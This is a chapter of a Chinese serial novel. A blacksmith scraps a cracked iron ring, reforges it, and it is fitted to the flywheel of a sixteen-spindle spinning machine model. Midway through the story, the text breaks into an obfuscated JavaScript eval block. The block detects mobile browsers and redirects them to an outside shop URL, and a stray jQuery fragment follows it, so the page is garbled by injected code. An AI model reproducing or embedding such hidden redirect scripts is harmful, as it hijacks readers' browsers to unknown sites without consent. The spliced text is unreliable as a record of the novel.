王铁匠铺的门还没开。
沈秀宁站在门外，听见里面风箱已经在响了。呼哧，呼哧，像一头喘气的牲口。她抬手在铁皮门上拍了三下。
里面风箱没停。
她又拍了三下，这次用了力。
风箱停了。铁皮门拉开一条缝，热气从缝里涌出来，扑在她脸上。王铁匠光着上身，胸前围一条皮围裙，脸上横一道竖一道全是炭灰。
“沈老板。”
他往后退了一步，把门拉开。
铺子里热得像蒸笼。炉火烧了一个多时辰，铁砧旁边的水盆已经冒热气了。铁砧上搁着一个刚打完的铁圈，三斤的，表面还泛着暗红，淬火的水渍还没干。
“八锭改装的最后一批？”
王铁匠用火钳夹起那个铁圈，翻了个面。
“最后一个。二十个，全在这儿了。”
他把铁圈搁在墙角那堆铁圈上面。二十个三斤铁圈码得整整齐齐，淬火蓝从深到浅排成一排。
沈秀宁蹲下来看了一会儿。
“接下来要十六锭的。”
王铁匠转过身来。
“多大？”
“直径三尺。配重八斤。”
王铁匠愣了一下。他低头看了看墙角那堆三斤铁圈，又看了看炉子，拿起火钳在铁砧上敲了两下。
“八斤。”
他把火钳搁下。
“一天打不完。”
沈秀宁站起来。
“我知道。你说过炼铁三天，锻打两天，车圆一天。”
“那是三斤的。”王铁匠用指节敲了敲铁砧边。“八斤的，锻打至少多加一天。铁条粗，锤不到位，里面会有气泡。”
他转身走到炉子前面。
炉膛里铁坯已经烧了一个多时辰。他蹲下来，侧着头看铁的颜色。
不是看钟，是看火候。
暗红不够，橘红刚好，亮黄就过了。
铁坯在炉子里从暗红变成橘红，表面开始发亮。
王铁匠站起来。
“到了。”
他戴上牛皮手套，抄起火钳，夹住铁坯一端往外拉。
铁坯从炉膛里出来的时候，橘红色的光照亮了半间铺子。热气扑面，沈秀宁往后退了一步。王铁匠没退。他把铁坯搁在铁砧上，左手火钳夹稳，右手抄起大锤。
大锤落下去。
铁坯在铁砧上弹了一下，火星溅起来，落在皮围裙上，落在泥地上，落在水盆里嗤的一声灭了。
第二锤，第三锤。
大锤把铁坯敲扁，锤面每一下都落在同一个位置。铁坯在锤子底下一点一点变薄，橘红色慢慢暗下去。王铁匠把铁坯夹回炉子，转头冲里面喊了一声。
“拉！”
他儿子从炉子后面探出头来。十四五岁，两只手攥着风箱把手，一推一拉，炉火跟着一明一暗。火光映在他脸上，额头上全是汗珠子，顺着下巴往下滴。
铁坯重新烧到橘红色。
夹出来，继续锤。
王铁匠抡大锤，儿子抡小锤。大锤把铁坯敲扁，小锤修边。大锤落下去嘭的一声闷响，小锤跟着叮的一下脆响。嘭，叮。嘭，叮。两个人的节奏咬在一起。
反复锤了十几轮。
铁条渐渐弯成弧形。
王铁匠用火钳夹着铁条的一端，搁在铁砧的牛角尖上。手腕一压，铁条沿着牛角尖弯出一个圆弧。他把铁条翻了个面，在另一头也弯了一下。两个圆弧对在一起，中间还差一截。
“接环。”
他把铁条的两端同时塞进炉子。
两端在炉膛里烧到亮黄色，夹出来，叠在一起。大锤落下去，两端的铁融成一体。接环处冒着火星。王铁匠锤了十几下才停手。
接不好，转快了铁圈会断。
他把接好的铁圈夹起来，翻来覆去看了两遍。
接环处——他的手指停住了。
铁圈接环的地方，有一条细缝。不深，但肉眼能看见。在淬火蓝的表面底下，像一根头发丝。
王铁匠没说话。他把铁圈举到窗口，对着光又看了一遍。
细缝还在。
他把铁圈搁回铁砧上，声音很平。
“里面有气泡。锻打的时候没锤透。”
沈秀宁蹲下来，用手指在细缝上摸了一下。铁圈还是热的，细缝的边缘有点硌手。
“能用吗？”
“转快了会裂。”
王铁匠拿起火钳，在铁砧上敲了一下。
“这个报废。”
铺子里安静了几秒。风箱停了，炉火在炉膛里闷闷地烧。王铁匠儿子从炉子后面探出半个头，看了看他爹，又把头缩回去。
王铁匠把报废的铁圈搁在墙角。
“重新炼。三天。”
他看了沈秀宁一眼。
“你还等吗？”
沈秀宁站起来，拍了拍膝盖上的灰。
“等。”
王铁匠点了点头。他转身走到料堆前面，从里面挑了一块新的铁坯。这块比上一块大了一圈，表面没有锈斑。
“这一块锻打多加半天。锤透了，不会再起泡。”
他把铁坯塞进炉子。
“拉。”
儿子攥紧风箱把手，一推一拉。炉火重新亮起来，橘红色的光映在王铁匠脸上，炭灰底下的皱纹一道一道全出来了。
三天后。
新铁坯锻打了整整两天半。每一轮锤完之后王铁匠都翻看一遍，手指在铁条表面一寸一寸摸过去。接环处叠烧了两次，第一次叠完发现有砂眼，拆开重来。
淬火的时候沈秀宁站在旁边。
铁圈烧到亮红色，夹起来往水池里一浸。水炸开一团白汽，嗤的一声从水面冲上来，糊了半间铺子。白汽散开之后，铁圈表面泛出一层暗蓝。
淬火纹路从接环处往两边延伸，均匀，没有断点。
车圆又用了一天。
铁圈卡在脚踏车床上。王铁匠摇着转轮，车刀贴着铁圈表面走，削下一圈圈螺旋状的铁屑。铁屑落在车床底下，卷成一团，还冒着热气。
沈秀宁蹲在旁边看。
铁屑落在她鞋面上，烫出一个小洞。她没动。
车刀走了最后一圈。王铁匠停下来，用手指摸了一圈铁圈表面。光滑，没有毛刺，圆度均匀。他把铁圈从车床上卸下来，抱在手里掂了掂。
“这一个，顶三个小的。加返工那一个，顶六个。”
他把铁圈用草绳捆好，油纸裹了两层。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691657|207911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“让你等了五天。”
沈秀宁接过铁圈。草绳勒得紧，油纸裹了两层，抱在手里沉甸甸的往下坠。八斤铁，等了五天，报废了一个，重做了一个。
她把铁圈抱进院子。
沈大柱正在锯架前面刨一块松木板。刨子推过去，木花卷起来，落在脚边。他抬头看见沈秀宁怀里的油纸包，把刨子搁下，接过铁圈。
拆草绳。
揭油纸。
八斤铁圈露出来。表面发蓝，淬火纹路从接环处往两边延伸，均匀。沈大柱翻来覆去看了两遍，用手指在接环处敲了两下。声音清脆，没有闷响。
“没有裂纹。这次锤透了。”
他把三尺柞木飞轮从锯架底下抱出来。
飞轮是昨天做好的。柞木，三尺直径，中间掏了一个圆槽，尺寸和铁圈一模一样。松木热胀冷缩的比例他算了三遍。夏天装的铁圈比冬天紧一丝，冬天松一丝，铜套咬合面留了半分余量。
沈大柱把铁圈往飞轮中间的圆槽里一嵌。
铁圈正好卡进去，不紧不松。铜套咬住铁轴，发出一声细响。
他把飞轮抱到十六锭模型前面。
模型还搁在锯架上。松木框架，双层锭子座，上下各八个锭杆孔。传动大轮二尺八，皮带槽已经刨好了。从第二十八章画在棉布上的三个方案，到松木拼框架，到飞轮装上。十六锭从图纸走到了现实。
沈大柱把飞轮挂上传动轴。
拧紧轴套螺丝。手指关节发了白，拧到最后一圈退回来半圈，再拧紧。
他用手拨了一下飞轮。
飞轮转了一圈。
两圈。
三圈。
慢慢停下来。
沈大柱伸手摸了摸轴套。微温，不烫手。铜套吃住了，没有涩感。传动大轮和飞轮之间的皮带绷紧了，手指按上去往下陷半寸。
他把十六根锭杆从工具箱里拿出来。
一根一根插进锭杆孔里。
每根锭杆插进去，用手指转一下。锭杆和锭杆孔之间的配合，紧了转不动，松了会晃。十六个孔，他一个一个转过去，转了十六下。
十六根锭杆全部插上。
双层锭子座，上下各八根，排列整齐。在午后的光线里，锭杆表面泛着一层铁灰色的微光。
沈秀宁站在模型前面。
五锭靠手动引纱。八锭靠单手。十二锭靠双手交替。全卡在人力上限上。十六锭靠飞轮蓄力，把脚力从四十斤摊平成二十五斤。
这是分水岭。
沈大柱蹲在地上，最后一次检查每个锭杆孔的间隙。
手指搭在锭杆上，转一下，停一下。转到最后一根的时候，他的手指顿了一下。那根锭杆比别的紧了一丝，退出来重新插进去，还是紧。
他站起来，从工具箱里拿了一块细砂布。
“这根间隙偏小。明天试机前磨一下。”
他把砂布搁在样机旁边。
沈秀宁看了一眼那根锭杆。
“明天试机。”
沈大柱把刨子搁在锯架上，点了点头。
十六根锭杆在暮色里泛着铁灰色的微光。飞轮的影子拖在院子的青石板上。有一根锭杆还没磨到位，明天能不能转起来，还不知道。